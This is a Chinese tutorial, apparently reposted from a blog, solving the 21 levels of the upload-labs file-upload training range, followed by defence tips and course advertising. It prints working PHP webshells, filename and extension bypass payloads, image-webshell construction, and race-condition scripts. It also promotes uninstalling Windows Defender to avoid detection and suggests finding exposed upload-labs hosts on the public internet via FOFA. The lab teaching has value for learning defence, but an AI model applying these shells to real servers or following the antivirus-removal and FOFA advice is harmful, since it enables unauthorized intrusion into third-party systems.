upload-labs 通关指南:文件上传漏洞超详细解析,网络安全零基础入门教程(萌新必藏)

什么是文件上传漏洞?

环境

靶场:upload-labs
服务器:centos7
数据库:mysql5.7
php:5.5
nginx:1.24

在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细

https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w

漏洞简介

文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。

高危触发点

在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。

注意:移动设备同样面临着文件上传漏洞的威胁。

漏洞复现upload-labs(1-21关)

第一关(前端验证)

由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/

在这里插入图片描述

找到描述为upload-labs的ip地址进入即可

在这里插入图片描述

在开始闯关之前我们需要用到一句话木马,php文件代码如下

<?php @eval($_POST['shell']);?>

第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。

但是更改为return true之后还是在提示文件类型不正确

在这里插入图片描述

这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。

在这里插入图片描述

上传成功。

在这里插入图片描述

使用中国蚁剑测试,连接密码就是你php post请求的shell参数

在这里插入图片描述

第二种方法就是禁用浏览器的javascript

在这里插入图片描述

木马上传成功

在这里插入图片描述

第二关(MIME验证)

使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可

在这里插入图片描述

上传成功

在这里插入图片描述

第三关(黑名单验证,特殊后缀)

将文件后缀修改为php1,php2即可

在这里插入图片描述

不过需要注意,上传成功后文件名称改变了

在这里插入图片描述

第四关(黑名单验证,.htaccess)

通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。

使用前提 2. 要在apache下的httpd.conf文件更改。 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。 打开httpd.conf文件用文本编辑器打开后,查找

在这里插入图片描述

更改为

在这里插入图片描述

重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件

.htaccess文件内容如下

setHandler application/x-httpd-php

在这里插入图片描述

复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。

不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容

在这里插入图片描述

不愧是中国蚂蚁,over!

在这里插入图片描述

第五关(黑名单验证,.user.ini.)

和第四关一样php. .

第六关(黑名单验证,大小写绕过)

这一关同样是后端黑名单, .htaccess.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单

把.php 格式改为 .Php上传上去之后,就会自动解析为.

在这里插入图片描述

注意上传成功后的真实的文件地址。

在这里插入图片描述

第七关(黑名单验证,空格绕过)

仔细分析源代码,容易发现代码中并没有把空格去掉

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "

在这里插入图片描述

上传成功

第八关(黑名单验证,点号绕过)

这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。

在这里插入图片描述

第九关(黑名单验证,特殊字符::$DATA绕过)

php在window的时候如果文件名+“::DATA"会把::DATA"会把::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA"之前的文件名 他的目的就是不检查后缀名。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

第十关(黑名单)

分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。

提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

echo deldot("hello world")."\n";
echo deldot("hello world.")."\n";
echo deldot("hello world....")."\n";
echo deldot("hello.world.")."\n";
//输出结果为
hello world
hello world
hello world
hello.world

第十关源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

第十一关(黑名单验证,双写绕过)

str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }

通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"

在这里插入图片描述

上传成功

在这里插入图片描述

第十二关(get00截断)

这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。

原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。

在这里插入图片描述

在这里插入图片描述

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

第十三关(post 00截断)

在这里插入图片描述

使用00截断的几个前提条件:

  1. PHP版本 < 5.3.4

  2. magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。

第十四关(图片马unpack)

源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。

我们使用cmd命令 opy 777.png/b + zoe.php pass14.png

创建了一个隐藏PHP代码的图片文件。 用文档打开2.jpg,发现合并成功。

上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。

在这里插入图片描述

在这里插入图片描述

下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。

在这里插入图片描述

出现如下错误

问题显示在行8,我们去查看一下第八行是什么内容。

在这里插入图片描述

<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件

在这里插入图片描述

文件包含执行成功,此时即可使用中国蚂蚁连接

在这里插入图片描述

第十五关(getimagesize图片马)

分析源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        //获取图片的尺寸信息
        $info = getimagesize($filename);
        //检查前俩个字节是否输入图片
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell

第十六关(exif_imagetype图片马)

分析源码

//进行文件类型判断
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。

第十七关(二次渲染绕过)

在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。

注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取

百度网盘提取码:1212    https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212

上传指定马后使用中国蚂蚁连接。

在这里插入图片描述

连接成功

在这里插入图片描述

第十八关(条件竞争一)

查看提示

在这里插入图片描述

审计代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    //定义一个数组,用来保存允许上传图片的后缀
    $ext_arr = array('jpg','png','gif');
    //获取文件名称
    $file_name = $_FILES['upload_file']['name'];
    //临时文件
    $temp_file = $_FILES['upload_file']['tmp_name'];
    //使用substr截取文件后缀
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    //上传的文件路径
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    //将临时的文件,移动到新位置。
    if(move_uploaded_file($temp_file, $upload_file)){
        //如果问及那的后缀在数组ext_arr中就上传图片
        if(in_array($file_ext,$ext_arr)){
            //定义图片上传路径名
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             //修改文件名称,为上传路径名
             rename($upload_file, $img_path);
             //上传
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。

在这里插入图片描述

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。

这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。

将一句话代码更改为如下内容。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。

首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder

在这里插入图片描述

清除所有的payload

在这里插入图片描述

提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。

接着设置无限发送空的Payloads,来让它一直上传该文件

在这里插入图片描述

最后建议这里把线程设置高一点,提高练习渗透效率

在这里插入图片描述

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)

import requests
def main():
    url='http://192.168.209.131/upload/myscript.php'
    while True:
        res = requests.get(url)
        print('未找到php文件')
        if res.status_code == 200:
            print('over!')
            break

if __name__ == '__main__':
    main()

开始攻击了

在这里插入图片描述

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。

在这里插入图片描述

测试连接,over!

在这里插入图片描述

第十九关(条件竞争二)

上传GIF测试

在这里插入图片描述

发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下

在这里插入图片描述

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

建立一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。

在这里插入图片描述

python脚本

import requests
def main():
    url='http://192.168.209.131/upload/pass19.png'
    while True:
        res = requests.get(url)
        print('未找到png文件')
        if res.status_code == 200:
            print('over!')
            break

if __name__ == '__main__':
    main()

过程参考第十八关。

注意蚂蚁连接的文件是注入的一句话木马创建的文件。

在这里插入图片描述

第二十关(黑名单)

有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。

在php中move_uploaded_file有一个特性 修改上传文件名称为upload-19.php/.

在这里插入图片描述

上传成功

在这里插入图片描述

蚂蚁宝宝测试,over!

在这里插入图片描述

第二十一关

这一关是利用数组绕过验证

在这里插入图片描述

上传成功后观察上传成功的URL,多了个jpg

那么我们使用第二个数组呢,岂不是就变为xxx.php.

在这里插入图片描述

查看上传成功的URL

上传成功!

总结

文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。

防御措施包括:

  • • 隐藏上传文件路径,避免暴露。

  • • 禁止上传文件的执行权限。

  • • 实施文件类型白名单和黑名单策略。

  • • 重命名上传文件,降低被猜测的风险。

  • • 对上传文件进行内容二次处理。

  • • 检查文件内容,确保安全。

  • • 根据系统特性,定制化安全防护策略。

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

 如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​
学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

黑客/网安大礼包:优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本文转自网络如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值